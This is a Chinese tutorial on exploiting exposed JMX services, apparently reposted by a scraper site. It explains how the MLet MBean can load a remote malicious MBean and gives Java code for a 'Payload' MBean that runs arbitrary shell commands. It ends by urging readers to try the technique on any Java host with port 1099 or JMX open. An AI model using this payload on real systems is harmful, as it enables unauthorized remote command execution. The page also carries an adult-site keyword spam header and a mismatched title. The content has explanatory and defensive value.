日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

java 怎么通过url获取远程服务器上某个文件夹下的所有文件_JMX远程代码漏洞研究...

發(fā)布時間:2025/3/12 编程问答 18 豆豆
生活随笔 收集整理的這篇文章主要介紹了 java 怎么通过url获取远程服务器上某个文件夹下的所有文件_JMX远程代码漏洞研究... 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言:

前一段時間apace solr JMX因為配置不當(dāng)出現(xiàn)遠程代碼執(zhí)行漏洞,最近自己在看一套java系統(tǒng)時,發(fā)現(xiàn)該系統(tǒng)也存在JMX遠程代碼漏洞,于是乎就想研究下JMX這種通用型漏洞,下面我就從原理到利用對該漏洞做一個簡單的梳理。

一、JMX服務(wù)和MBean

JMX(Java Management Extensions,即Java管理擴展)是一個為應(yīng)用程序、設(shè)備、系統(tǒng)等植入管理功能的框架。JMX是一套復(fù)雜的機制,由于我們要講的JMX遠程代碼漏洞和MBean相關(guān),所以這里我們之介紹jmx和mbean相關(guān)的一些基礎(chǔ)知識。

JMX是管理擴展,通過JMX我們可以監(jiān)控管理我們的指定的java程序。但不是所有的java類都能被管理。只有按照特定格式編寫的java類才能被jmx原理。這種特定格式機制我們稱為Mbean。

我們先看一個簡單的MBean,mbean首先需要定義一個接口,定義格式xxxMBean,

之后再定義一個實現(xiàn)該接口的類。

二、MBeanServer

對于已經(jīng)實現(xiàn)的MBean,我們怎么進行監(jiān)控和管理,這里就需要MBeanServer了。我們可以將MBeanServer理解為一個mbean的倉庫,需要監(jiān)控的mbean都需要先注冊到倉庫中。向MBeanServer注冊mbean有兩種方式,一是本地注冊,二是遠程注冊(遠程注冊就為我們執(zhí)行任意代碼提供了可能,后面會細講)。

我們先看一段簡單的代碼,本地向mbeanserver注冊mbean。

public static void main(String[] args) throwsException{MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();//向MBeanServer 注冊 mbeanObjectName helloName = new ObjectName("HelloMbean:name=Hello");mBeanServer.registerMBean(new Hello(), helloName);Registry registry = LocateRegistry.createRegistry(1099);//構(gòu)造 JMXServiceURLJMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);jmxConnectorServer.start();System.out.println("JMXConnectorServer is running");}

運行程序,使用jconsole鏈接127.0.0.1:1099,可以看到我們的HelloMBean,也可以執(zhí)行Hello()函數(shù)。

整個過程代碼實現(xiàn)如下:

static void JMXClient() throws Exception{ JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); JMXConnector jmxConnector = JMXConnectorFactory.connect(url,null); MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection(); ObjectName mbeanName = new ObjectName("HelloMbean:name=Hello"); //通過反射機制執(zhí)行Hello中的hello()方法 mBeanServerConnection.invoke(mbeanName, "Hello", null, null); }

我們可以在代碼中執(zhí)行MBean中的方法。

三、一個特殊的Mbean之MLet

前面我們知道了mbean是什么東西,這里我們需要認識一個特殊的mbean叫MLet。

這是一個系統(tǒng)自帶的mbean。我們簡單看下其定義。

/** * Exposes the remote management interface of the MLet * MBean. */ public interface MLetMBean {public class MLet extends java.net.URLClassLoaderimplements MLetMBean, MBeanRegistration, Externalizable { private static final long serialVersionUID = 3636148327800330130L;/** * The reference to the MBean server.*/ private MBeanServer server = null;

簡單理解就是,我們可以通過Mlet加載一個遠程服務(wù)器上的MBean,并且沒有對遠程的mbean做合法性檢測。

Mlet定義了一個函數(shù)getMBeanFromURL,用來加載并實例化遠程的Mbean。

至于getMBeanFromURL怎么加載遠程mbean,加載哪個mbean。需要mlet來規(guī)定。

上面規(guī)定了mlet的格式,下面我們簡單看下幾個必須字段的含義。

CODE =?class

此屬性指定了要獲取的 MBean 的Java 類的全名,包括包名稱。

ARCHIVE = "?archiveList?"

此屬性是必需的,它指定了一個或多個 .jar 文件,這些文件包含要獲取的MBean 使用的 MBean 或其他資源。

NAME =?mbeanname

當(dāng) m-let 已注冊MBean 實例時,此可選屬性指定了要分配給MBean 實例的對象名稱。如果mbeanname 以冒號字符(:) 開始,則對象名稱的域部分是 MBean 服務(wù)器的默認域,可由 MBeanServer.getDefaultDomain()返回。

四、使用Melt加載遠程MBean

上一節(jié)我們簡單介紹了下MLet,這節(jié)介紹下怎么加載遠程的MBean

下面我們先實現(xiàn)一個惡意的MBean,并將其打包成JMXPayload.jar。

public interface PayloadMBean { public String runCmd(String cmd) throws IOException, InterruptedException; } public class Payload implements PayloadMBean { @Override public String runCmd(String cmd) throws IOException,InterruptedException { Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); String stdout_data = ""; String strtmp; while ((strtmp = stdInput.readLine()) != null) { stdout_data += strtmp + "\n"; } while ((strtmp = stdError.readLine()) != null) { stdout_data += strtmp + "\n"; } process.waitFor(); return stdout_data; } }

構(gòu)造mlet文件

將mlet和JMXPayload.jar放在web下同一個目錄中。

先使用registerMBean向MBeanServer注冊Mlet,然后使用getMBeanFromURL函數(shù)加載遠程的PayloadMBean。

運行程序,使用jsonsole連接127.0.0.1:1099

五、向遠程的MBeanServer注冊mbean

前幾節(jié)介紹的向MBeanServer注冊mbean都是在server端完成的,那如何在client端向遠程的MBeanServer注冊mbean呢。

我們先實現(xiàn)一個默認的MBeanServer,沒有向其注冊我們的mbean。

本地我們可以通過MBeanServer.RegisterMBean注冊mbean

遠端我們可以通過MBeanServerConnection.createMBean注冊mbean

客戶端代碼:

Jconsole查看結(jié)果如下,Mlet已經(jīng)被注冊:

然后通過getMBeansFromURL加載我們的惡意Mbean,執(zhí)行結(jié)果如下:

然后可以通過payload執(zhí)行任意代碼

當(dāng)然這個jsonsole執(zhí)行代碼這個流程可以使用代碼實現(xiàn),有興趣的可以自己研究下。

六、總結(jié)

至此,JMX漏洞的整理利用流程就結(jié)束了。我們再重新梳理下過程。

首先是MBeanServer提供了一套遠程注冊MBean的機制,讓我們能夠在本地向遠端注冊MBean。這個問題不大,因為我們不能注冊自己寫的mbean,只能注冊遠端服務(wù)器上已經(jīng)有的mbean。巧的是jdk自己就有一些mbean,其中有一個mbean叫mlet。

Mlet是實現(xiàn)了一個函數(shù)getMBeansFromURL(url),這個函數(shù)能夠加載并實例化我們指定的遠程mbean,從而導(dǎo)致了我們的惡意payloadMBean被加載注冊到MBeanServer上,導(dǎo)致任意命令執(zhí)行。

JMX漏洞是一個通用型漏洞,如果遇到j(luò)ava系統(tǒng)開啟1099端口,或者開啟jmx的都可以使用該漏洞測試一下,驚喜就在意外中。

參考:

https://www.apiref.com/java11-zh/java.management/javax/management/loading/MLet.html

https://www.anquanke.com/post/id/194126

*本文原創(chuàng)作者:MrCoding,本文屬于FreeBuf原創(chuàng)獎勵計劃,未經(jīng)許可禁止轉(zhuǎn)載

精彩推薦

總結(jié)

以上是生活随笔為你收集整理的java 怎么通过url获取远程服务器上某个文件夹下的所有文件_JMX远程代码漏洞研究...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。